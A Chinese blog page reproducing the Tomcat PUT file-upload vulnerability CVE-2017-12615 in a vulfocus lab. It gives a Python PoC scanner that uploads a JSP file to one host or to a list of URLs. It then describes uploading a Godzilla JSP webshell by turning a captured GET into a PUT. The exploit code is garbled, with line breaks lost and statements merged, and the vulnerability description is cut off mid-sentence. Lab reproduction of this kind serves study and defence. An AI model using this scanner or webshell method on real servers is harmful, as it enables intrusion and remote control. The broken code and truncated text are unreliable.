当前位置: 首页 > news >正文

tomcat 文件上传 (CVE-2017-12615)

漏洞描述:

        当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法

影响范围:

Apache Tomcat 7.0.0 - 7.0.79

漏洞复现:

创建vulfocus靶场容器

poc

#CVE-2017-12615 POC
import requests
import optparse
import osparse = optparse.OptionParser(usage = 'python3 %prog [-h] [-u URL] [-p PORT] [-f FILE]')
parse.add_option('-u','--url',dest='URL',help='target url')
parse.add_option('-p','--port',dest='PORT',help='target port[default:8080]',default='8080')
parse.add_option('-f',dest='FILE',help='target list')options,args = parse.parse_args()
#print(options)
#验证参数是否完整
if (not options.URL or not options.PORT) and not options.FILE:print('Usage:python3 CVE-2017-12615-POC.py [-u url] [-p port] [-f FILE]\n')exit('CVE-2017-12615-POC.py:error:missing a mandatory option(-u,-p).Use -h for basic and -hh for advanced help')filename = '/hello.jsp'#测试数据
data = 'hello'#提交PUT请求
#resp = requests.post(url1,headers=headers,data=data)#验证文件是否上传成功
#response = requests.get(url2)
#上传文件
def upload(url):try:response = requests.put(url+filename+'/',data=data)return 1except Exception as e:print("[-] {0} 连接失败".format(url))return 0
def checking(url):try:#验证文件是否上传成功response = requests.get(url+filename)#print(url+filename)if response.status_code == 200 and 'hello' in response.text:print('[+] {0} 存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))else:print('[-] {0} 不存在CVE-2017-12615 Tomcat 任意文件读写漏洞'.format(url))except Exception as e:#print(e)print("[-] {0} 连接失败".format(url))
if options.FILE and os.path.exists(options.FILE):with open(options.FILE) as f:urls = f.readlines()#print(urls)for url in urls:url = str(url).replace('\n', '').replace('\r', '').strip()if upload(url) == 1:checking(url)
elif options.FILE and not os.path.exists(options.FILE):print('[-] {0} 文件不存在'.format(options.FILE))
else:#上传链接url = options.URL+':'+options.PORTif upload(url) == 1:checking(url)

显示存在漏洞 

使用哥斯拉创建jsp的webshell

 

访问网页,抓取流量包

将原本的get请求更改成put请求格式

相关文章:

  • 碳性电池和碱性电池的区别
  • Matlab 软件入门
  • Spring Security 是一个强大的和高度可定制的身份验证和访问控制框架。它是 Spring 项目家族的一员,用于构建安全的 Java 应用程序。
  • 并发编程---线程与进程
  • ARM点灯---看手册
  • 几种常见点云开源库——点云、网格数据结构转换
  • Python使用总结之py-docx将word文件中的图片保存,并将内容返回
  • 前端项目依赖包中的依赖包漏洞解决方案
  • Python的包管理工具pip安装
  • 不可思议的转折,这部韩剧在口碑上实现逆袭
  • 15.面试算法-树基础
  • 统信服务器操作系统进入【单用户模式】
  • TM-align结果的PDB ID和链ID
  • LeetCode - 850 矩形面积 II
  • 【Linux】Linux基本命令
  • [case10]使用RSQL实现端到端的动态查询
  • [数据结构]链表的实现在PHP中
  • docker python 配置
  • Java的Interrupt与线程中断
  • mysql 5.6 原生Online DDL解析
  • Python中eval与exec的使用及区别
  • Redis提升并发能力 | 从0开始构建SpringCloud微服务(2)
  • STAR法则
  • 从setTimeout-setInterval看JS线程
  • 关于springcloud Gateway中的限流
  • 回顾 Swift 多平台移植进度 #2
  • 今年的LC3大会没了?
  • 如何正确配置 Ubuntu 14.04 服务器?
  • 使用 Docker 部署 Spring Boot项目
  • 世界上最简单的无等待算法(getAndIncrement)
  • 以太坊客户端Geth命令参数详解
  • 用element的upload组件实现多图片上传和压缩
  • 追踪解析 FutureTask 源码
  • 白色的风信子
  • 7行Python代码的人脸识别
  • 基于django的视频点播网站开发-step3-注册登录功能 ...
  • ​​​​​​​Installing ROS on the Raspberry Pi
  • #Js篇:单线程模式同步任务异步任务任务队列事件循环setTimeout() setInterval()
  • #进阶:轻量级ORM框架Dapper的使用教程与原理详解
  • $(this) 和 this 关键字在 jQuery 中有何不同?
  • $refs 、$nextTic、动态组件、name的使用
  • (3)llvm ir转换过程
  • (Matlab)遗传算法优化的BP神经网络实现回归预测
  • (Redis使用系列) SpringBoot中Redis的RedisConfig 二
  • (超详细)2-YOLOV5改进-添加SimAM注意力机制
  • (附源码)springboot社区居家养老互助服务管理平台 毕业设计 062027
  • (附源码)计算机毕业设计高校学生选课系统
  • (规划)24届春招和25届暑假实习路线准备规划
  • (九)信息融合方式简介
  • (论文阅读30/100)Convolutional Pose Machines
  • (三)Kafka离线安装 - ZooKeeper开机自启
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (十七)devops持续集成开发——使用jenkins流水线pipeline方式发布一个微服务项目
  • (一)80c52学习之旅-起始篇
  • (转)EXC_BREAKPOINT僵尸错误